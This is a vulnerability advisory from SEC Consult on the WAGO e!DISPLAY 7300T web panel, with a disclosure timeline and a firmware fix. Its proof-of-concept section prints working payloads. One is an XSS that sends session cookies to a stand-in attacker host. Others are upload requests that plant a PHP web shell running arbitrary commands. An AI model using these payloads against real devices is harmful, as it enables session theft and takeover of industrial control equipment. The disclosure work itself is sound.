SEC Consult Vulnerability Lab Security Advisory < 20180711-0 >
=======================================================================
title: Remote code execution via multiple attack vectors
product: WAGO e!DISPLAY 7300T - WP 4.3 480x272 PIO1
vulnerable version: FW 01 - 01.01.10(01)
fixed version: FW 02
CVE number: CVE-2018-12979, CVE-2018-12980, CVE-2018-12981
impact: High
homepage: https://www.wago.com/
found: 2018-04-25
by: T. Weber (Office Vienna)
SEC Consult Vulnerability Lab
An integrated part of SEC Consult
Europe | Asia | North America
https://www.sec-consult.com
=======================================================================
Vendor description:
-------------------
"New ideas are the driving force behind our success WAGO is a family-owned
company headquartered in Minden, Germany. Independently operating for three
generations, WAGO is the global leader of spring pressure electrical
interconnect and automation solutions. For more than 60 years, WAGO has
developed and produced innovative products for packaging, transportation,
process, industrial and building automation markets amongst others. Aside from
its innovations in spring pressure connection technology, WAGO has introduced
numerous innovations that have revolutionized industry. Further ground-breaking
inventions include: the WAGO-I/O-SYSTEMA(r), TOPJOB SA(r) and WALL-NUTSA(r)."
Source: http://www.wago.us/wago/
"For visualization tasks with CODESYS 2 and CODESYS 3: WAGO's new e!DISPLAY
7300T Web Panels help you reinforce the quality of your machinery and equipment
with a refined design and industry-leading software. Learn more about how the
right Web Panels make a difference.
HMI components are the finishing touch for machines or systems and they have an
overwhelming impact on purchase decisions. WAGO offers aesthetically pleasing
HMIs that leave a lasting impression and significantly increase both the value
and image of your machine or system. WAGOas e!DISPLAY 7300T Web Panel is
available in 4.3'', 5.7'', 7.0'' and 10.1'' display sizes."
Source:
http://www.wago.us/products/components-for-automation/operation-and-monitoring/web-panels-edisplay-7300t/overview/index.jsp
Business recommendation:
------------------------
HMI displays are widely used in SCADA infrastructures. The link between
their administrative (or informational) web interfaces and the users which
access these interfaces is critical. The presented attacks demonstrate how
simple it is to inject malicious code in order to break the security of this
link by exploiting minimal user interaction.
As a consequence a computer which is used for HMI administration should not
provide any possibility to get compromised via malicious script code.
One possible solution may be e.g.:
* Don't allow email clients
* Don't provide Internet access at all on the HMI stations
SEC Consult recommends to immediately apply the available patches from the vendor.
A thorough security review should be performed by security professionals to
identify further potential security issues.
Vulnerability overview/description:
-----------------------------------
1) Multiple Reflected POST Cross-Site Scripting (CVE-2018-12981)
Reflected cross site scripting vulnerabilities were identified within multiple PHP
scripts in the admin interface. The parameter JSON input which is sent to the
device is not sanitized sufficiently. An attacker can exploit this
vulnerability to execute arbitrary scripts in the context of the attacked user
and gain control over the active session.
This vulnerability is present for authenticated and unauthenticated users!
2) Stored Cross-Site Scripting (CVE-2018-12981)
A stored cross-site scripting vulnerability was identified within the
"PLC List" which can be configured in the web interface of the e!Display. By
storing a payload there, an administrative or guest user can be attacked
without tricking them to visit a malicious web site or clicking on an
malicious link.
This vulnerability is only present for authenticated users!
3) Unrestricted File Upload and File Path Manipulation (CVE-2018-12980)
Arbitrary files can be uploaded to the system without any check. It is even
possible to change the location of the uploaded file on the system. As the
web service does not run as privileged user, it is not possible to upload a
file directly to the web root but on many other locations on the file system.
The normal user 'user' and the administrative user 'admin' can both upload
files to the system.
4) Incorrect Default Permissions (CVE-2018-12979)
Due to incorrect default permissions a file in the web root can be overwritten
by the unprivileged 'www' user. This is the same user which is used in the
context of the web server.
5) Remote code execution via multiple attack vectors
By stacking vulnerability 1)/2), 3) and 4) with this vulnerability an outside
attacker can place a malicious script on the device in order to execute arbitrary
commands as 'www'. This can be done by uploading a web shell or a reverse
shell.
Proof of concept:
-----------------
1) Multiple Reflected POST Cross-Site Scripting (CVE-2018-12981)
The affected endpoints are:
http://<IP-Address>/wbm/configtools.php
http://<IP-Address>/wbm/login.php
http://<IP-Address>/wbm/receive_upload.php
The following request is an example for reflected XSS within 'configtools.php':
-------------------------------------------------------------------------------
POST /wbm/configtools.php HTTP/1.1
Host: <IP-Address>
Content-type: text/plain
[...]
{"sessionId":"","aDeviceParams":{"0":{"name":"firewall","parameter":["iptables","--get-xml"],"sudo":true,"multiline":true,"timeout":10000},"1":{"name":"firewall","parameter":["firewall","--is-enabled"],"sudo":true,"multiline":true,"timeout":10000,"dataId":"{DoNotParseAsXml}<img
src=x onerror=this.src='http://$attacker:8001/?c='+document.cookie>;"}}}
-------------------------------------------------------------------------------
Steal the cookie via XSS and send it to http://$attacker:8001?c=<Session-ID>:
-------------------------------------------------------------------------------
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://<IP-Address>/wbm/configtools.php" method="POST"
enctype="text/plain">
<input type="hidden"
name="{"sessionId":"","aDeviceParams":{"0":{"name":"firewall","parameter":["iptables","--get-xml"],"sudo":true,"multiline":true,"timeout":10000},"1":{"name":"firewall","parameter":["firewall","--is-enabled"],"sudo":true,"multiline":true,"timeout":10000,"dataId":"{DoNotParseAsXml}<img src"
value="x onerror=this.src='http://...:8001/?c='+document.cookie>;"}}}"
/>
<input type="submit" value="Submit request" />
</form>
</body>
</html>
-------------------------------------------------------------------------------
2) Stored Cross-Site Scripting (CVE-2018-12981)
To exploit this vulnerability malicious code has to be placed in the "PLC List"
by surfing to the endpoint http://<IP-Address>/app/index.html and clicking on
the tab "Application->PLC-List". By opening one of the configurable PLCs the
name can be changed in the box "Text:" in order to execute arbitrary script-
code. For example:
<img src=a onerror=alert('SEC_Consult_XSS');alert(document.cookie)>
The payload can also be placed on the device by using the following POST request:
-------------------------------------------------------------------------------
POST /wbm/configtools.php HTTP/1.1
Host: <IP-Address>
[...]
{"sessionId":"<Valid session-ID>
","aDeviceParams":{"0":{"name":"config_plcselect","parameter":[2,"url=https://127.0.0.1:8001","txt=<img
src=a
onerror=alert('SEC_Consult_XSS');alert(document.cookie)>","vkb=enabled","mon=1"],"sudo":true}}}
-------------------------------------------------------------------------------
3) Unrestricted File Upload and File Path Manipulation (CVE-2018-12980)
The file path, the file name and the file content can be manipulated in any
way. There is no server-side check for malicious files.
-------------------------------------------------------------------------------
POST /wbm/receive_upload.php HTTP/1.1
Host: <IP-Address>
[...]
Content-Type: multipart/form-data;
boundary=---------------------------728140389204955163192597293
-----------------------------728140389204955163192597293
Content-Disposition: form-data; name="touchWbm"
true
-----------------------------728140389204955163192597293
Content-Disposition: form-data; name="upload_type"
font
-----------------------------728140389204955163192597293
Content-Disposition: form-data; name="session_id"
<Valid session-ID>
-----------------------------728140389204955163192597293
Content-Disposition: form-data; name="upload_directory"
/tmp/
-----------------------------728140389204955163192597293
Content-Disposition: form-data; name="font_file"; filename="any_file.sh"
Content-Type: application/x-font-ttf
any-content #!
-----------------------------728140389204955163192597293--
-------------------------------------------------------------------------------
4) Incorrect Default Permissions (CVE-2018-12979)
The file 'index.html' is owned by 'www' and can therefore also be overwritten
with a web shell.
www@WAGO_eDisplay:/var/www ls -la
drwxr-xr-x 5 root root 488 XXX 99 2018 .
drwxr-xr-x 11 root root 824 XXX 99 2018 ..
lrwxrwxrwx 1 root root 16 XXX 99 2018 app -> /var/www/WagoWBM
-rw-r--r-- 1 www www 345 XXX 99 2018 index.html
drwxr-xr-x 7 root root 776 XXX 99 2018 plclist
drwxr-xr-x 3 root root 368 XXX 99 2018 WagoWBM
drwxr-xr-x 2 root root 688 XXX 99 2018 wbm
5) Remote code execution via multiple attack vectors
By uploading a simple PHP shell and overwriting the 'index.html' file located
under the web root an attacker can place a web shell which is reachable without
any authentication.
-------------------------------------------------------------------------------
POST /wbm/receive_upload.php HTTP/1.1
Host: <IP-Address>
[...]
Content-Type: multipart/form-data;
boundary=---------------------------728140389204955163192597293
-----------------------------728140389204955163192597293
Content-Disposition: form-data; name="touchWbm"
true
-----------------------------728140389204955163192597293
Content-Disposition: form-data; name="upload_type"
font
-----------------------------728140389204955163192597293
Content-Disposition: form-data; name="session_id"
<Valid session-ID>
-----------------------------728140389204955163192597293
Content-Disposition: form-data; name="upload_directory"
/var/www/
-----------------------------728140389204955163192597293
Content-Disposition: form-data; name="font_file"; filename="index.html"
Content-Type: application/x-font-ttf
<html><body>
<form method="GET" name="SEC Consult PoC" action="">
<input type="text" name="command"><input type="submit" value="Send"></form>
<pre><?php if($_GET['command']){system($_GET['command']);} ?></pre>
</body></html>
-----------------------------728140389204955163192597293--
-------------------------------------------------------------------------------
The shell can now be reached via "http://<IP-Address>/index.html". It is also
possible to upload a reverse-shell to the system which connects to a computer
outside of the actual network.
Vulnerable / tested versions:
-----------------------------
The following device with the firmware version has been tested:
* e!DISPLAY 7300T - WP 4.3 480x272 PIO1 - 01.01.10(01)
According to WAGO the following e!DISPLAY versions are vulnerable:
762-3000 FW 01
762-3001 FW 01
762-3002 FW 01
762-3003 FW 01
Vendor contact timeline:
------------------------
2018-04-30: Sending encrypted advisory to VDE CERT for coordination support
(info@cert.vde.com)
2018-05-02: Answer from VDE CERT that WAGO will be informed/contacted
2018-05-08: Status update from VDE CERT
2018-05-23: Asking for status update, no news from WAGO (via VDE CERT)
2018-06-08: VDE CERT: WAGO fixed the vulnerabilities and firmware is in
testing phase
2018-06-12: WAGO requested more time, postponing release date, asking for
affected & fixed versions
2018-06-13: VDE CERT will request CVE numbers
2018-06-17: WAGO scheduled the release for 2018-07-11
2018-06-26: VDE CERT sends WAGO advisory draft including affected/fixed versions
2018-07-04: VDE CERT sends final WAGO advisory incl. CVE numbers
2018-07-10: VDE CERT publishes security notice:
https://cert.vde.com/de-de/advisories/vde-2018-010
2018-07-11: SEC Consult advisory release
Solution:
---------
Update the device to the latest available firmware (FW 02). For further
information see the vendor's security notifications page:
https://www.wago.com/de/automatisierungstechnik/security (German)
Direct link to English WAGO advisory:
https://www.wago.com/medias/SA-WBM-2018-004.pdf?context=bWFzdGVyfHJvb3R8MjgyNzYwfGFwcGxpY2F0aW9uL3BkZnxoMWUvaDg4LzkzNjE3NTIxOTUxMDIucGRmfDU1NmJkYjEzNDY0ZGU4OWQ1OTMyMjUwNTlmZTI0MzgwNDQ1MDY1YzU3OWRmZDk1NzYzODAwMDI3ODg1NDJlZjU
Workaround:
-----------
Restrict network access to the device, don't allow Internet access from the
HMI station and do not install software from untrusted sources.
Advisory URL:
-------------
https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Vulnerability Lab
SEC Consult
Europe | Asia | North America
About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It
ensures the continued knowledge gain of SEC Consult in the field of network
and application security to stay ahead of the attacker. The SEC Consult
Vulnerability Lab supports high-quality penetration testing and the evaluation
of new offensive and defensive technologies for our customers. Hence our
customers obtain the most current information about vulnerabilities and valid
recommendation about the risk profile of new technologies.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your application https://www.sec-consult.com/en/career/index.html
Interested in improving your cyber security with the experts of SEC Consult?
Contact our local offices https://www.sec-consult.com/en/contact/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Mail: research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult
EOF T. Weber / @2018
